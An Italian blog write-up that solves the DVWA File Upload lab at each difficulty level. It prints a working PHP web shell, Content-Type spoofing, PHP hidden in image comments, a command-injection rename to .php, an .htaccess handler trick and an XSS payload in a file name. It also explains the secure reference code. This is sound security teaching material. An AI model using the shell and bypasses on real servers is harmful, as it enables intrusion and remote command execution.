Nuovo post sull’applicazione DVWA, oggi risolveremo la vulnerabilità: DVWA File Upload.

I requisiti sono:

  • DVWA Command Injection completato, in caso contrario non proseguite!
  • Qualsiasi Browser
  • Proxy tipo Burpsuite e Zap o browser plugin tipo Tamper Data
  • Editor di immagini, ad esempio GIMP

Lo scopo di questa vulnerabilità è quello di riuscire a caricare sul server remoto una web shell attaccando una pagina dedita all’upload di immagini.

DVWA File Upload – Low Level

Il livello semplice, come ormai sappiamo, non ha alcun tipo di protezione quindi faremo l’upload di una web shell php.
Come esempio ho deciso di utilizzare questo semplice script “pwn3dshell.php” :

<?php

if(isset($_REQUEST['cmd'])){
 echo "<pre>";
 $cmd = ($_REQUEST['cmd']);
 system($cmd);
 echo "</pre>";
 die;
}

?>

L’utilizzo è semplice, basta richiamare lo script passandogli i comandi da eseguire tramite la variabile cmd.

Dopo l’upload la pagina bacata ci spiattella in rosso il path dello script appena caricato:

DVWA File Upload

Per richiamare la backdoor basterà inserire il seguente url:

http://ip_server/DVWA/hackable/uploads/pwn3dshell.php?cmd=whoami

DVWA File Upload

Come si può notare il comando whoami è stato eseguito dalla web shell.

Di seguito il sorgente privo di alcuna protezione:

DVWA File Upload

DVWA File Upload – Medium Level

Nel livello medio non è permesso l’invio a cuor leggero di uno script php:

DVWA File Upload

Dal messaggio è evidente come la pagina si aspetti un file di tipo JPEG o PNG.
Tramite un proxy o plugin è possibile intercettare e modificare le richieste del browser prima di inviarle verso il server.
Nell’esempio seguente utilizzerò il plugin Firefox Tamper Data per modificare il Content-Type originale del file php:

DVWA File Upload

spacciandolo per un vera e propria immagine jpeg:

DVWA File Upload

E come per magia:

DVWA File Upload

Dai sorgenti si possono notare due gravi errori:

DVWA File Upload

  1. Non c’è alcun tipo di controllo sull’estensione del file
  2. L’unico controllo che viene fatto è sul $_FILES[ 'uploaded' ][ 'type' ];,  scelta sbagliatissima dato che è ormai
    noto che il Content-Type è un parametro manipolabile!

DVWA File Upload – High Level

Come scrivevo nell’articolo d’introduzione “DVWA – Damn Vulnerable Web Application” per risolvere alcune vulnerabilità è necessario ingegnarsi un minimo senza limitarsi al bug stesso…un po come nelle competizioni CTF.
In questo livello naturalmente le tecniche usate precedentemente non hanno alcun effetto, quindi ho optato nell’inserimento di codice php all’interno dei commenti dell’immagine sperando poi di trovare il modo di far interpretare il file appena caricato come script php.
Per modificare le proprietà dell’immagine homelabit_evil.png ho utilizzato l’editor GIMP:

DVWA File Upload

Inserimento codice php nei commenti dell’immagine

Come si nota dallo screenshot precedente ho inserito la classica funzione phpinfo() nei commenti del dell’immagine.
A questo punto le strade da percorrere che mi vengono in mente per far eseguire al webserer un gile png come php sono almeno due:

  1. Caricare nella directory di upload un file .htaccess come il seguente:
    AddType application/x-httpd-php .png
  2. Sfruttare un’altra vulnerabilità per rinominare il file png

La soluzione numero uno non è percorribile dato che il form ha un efficace controllo sull’estensione dei file, quindi perché non sfruttare la vulnerabilità Command Injection?

Ma andiamo con ordine, prima di tutto ho eseguito l’upload dell’immagine modificata così da poter vedere anche la directory di repository.

DVWA File Upload

Dallo screenshot si capisce che la directory interessata è la seguente “../../hackables/uploads/“, per conferma dalla pagina “Command Injections” ho controllato il contenuto iniettando il comando “|ls ../../hackable/uploads/“:

DVWA File Upload

Localizzata l’immagine ho rinominato l’estensione da png a php iniettando il comando “|mv ../../hackable/uploads/homelabit_evil.png ../../hackable/uploads/homelabit_evil.php ” dopo di che ho ricontrollato il contenuto:

DVWA File Upload

Infine dal browser ho richiamato l’url: “http://10.0.0.100/DVWA/hackable/uploads/homelabit_evil.php

DVWA File Upload

Codice php eseguito con successo!

Dal sorgente è interessante estrapolare questa parte:

        // Is it an image? 
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
            ( $uploaded_size < 100000 ) && 
            getimagesize( $uploaded_tmp ) ) { 
     
            // Can we move the file to the upload folder? 
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
                // No 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
            else { 
                // Yes! 
                echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
            } 
        } 
        else { 
            // Invalid file 
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
        } 
    } 

Nel codice viene utilizzata la funzione getimagesize() per controllare se il file caricato è un immagine o meno, ma come visto in precedenza manipolando l’immagine il controllo viene bypassato.

DVWA File Upload – Impossible Level (mitigazione)

Questo è il sorgente sicuro proposto:

    <?php 
     
    if( isset( $_POST[ 'Upload' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
     
     
        // File information 
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 
     
        // Where are we going to be writing to? 
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; 
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); 
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 
     
        // Is it an image? 
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && 
            ( $uploaded_size < 100000 ) && 
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 
            getimagesize( $uploaded_tmp ) ) { 
     
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 
            if( $uploaded_type == 'image/jpeg' ) { 
                $img = imagecreatefromjpeg( $uploaded_tmp ); 
                imagejpeg( $img, $temp_file, 100); 
            } 
            else { 
                $img = imagecreatefrompng( $uploaded_tmp ); 
                imagepng( $img, $temp_file, 9); 
            } 
            imagedestroy( $img ); 
     
            // Can we move the file to the web root from the temp folder? 
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 
                // Yes! 
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; 
            } 
            else { 
                // No 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
     
            // Delete any temp files 
            if( file_exists( $temp_file ) ) 
                unlink( $temp_file ); 
        } 
        else { 
            // Invalid file 
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
        } 
    } 
     
    // Generate Anti-CSRF token 
    generateSessionToken(); 
     
    ?> 

A mio parere, oltre al controllo dell’estensione e della tipologia del file, sono importanti due parti del codice (in grassetto):

  1. La funzione che controlla qualsiasi metadata dell’immagine tramite re-encodingm, rimuovendo eventuali stringhe
    di codice pericolose.
  2. Una volta eseguito l’upload del file, stampare a video un messaggio di conferma senza specificare il path completo locale
    dell’immagine

DVWA File Upload – Bonus XSS

Eccoci alla parte più divertente!

In tutti e tre i livelli vulnerabili, low, medium, high, ho notato che al momento dell’upload avvenuto con successo veniva stampato a video il nome dell’immagine caricata all’interno di un tag .
A quel punto mi sono chiesto: Perchè non caricare un’immagine inserendo un payload xss nel nome del file?
Non potendo utilizzare il carattere / nel nome del file, e quindi impossibilitato a chiudere i tag html, ho optato per un payload che sfrutta l’attributo href malformato:

clickme

Potete testare il payload su https://jsfiddle.net tramite browser Mozilla Firefox.
Per saltare i controlli del livello high, ho preso come esempio un immagine png genuina lasciando anche l’estensione corretta:

# i vari backslash servono a non fare interpretare i caratteri speciali alla shell

claudio@KaliCla:~/Pictures$ cp homelabit_evil.png \<a\ onmouseover=alert\(1\)\>clickme.png

Ecco il risultato dopo l’upload dell’immagine:

DVWA File Upload

E’ possibile notare come il nome del file sia diventato un link cliccabile, il sorgente rende tutto più chiaro:

DVWA File Upload
Ed al passaggio del mouse sul link….

DVWA File Upload
Tadaaaaa XSSED!

Un saluto! Alla prossima!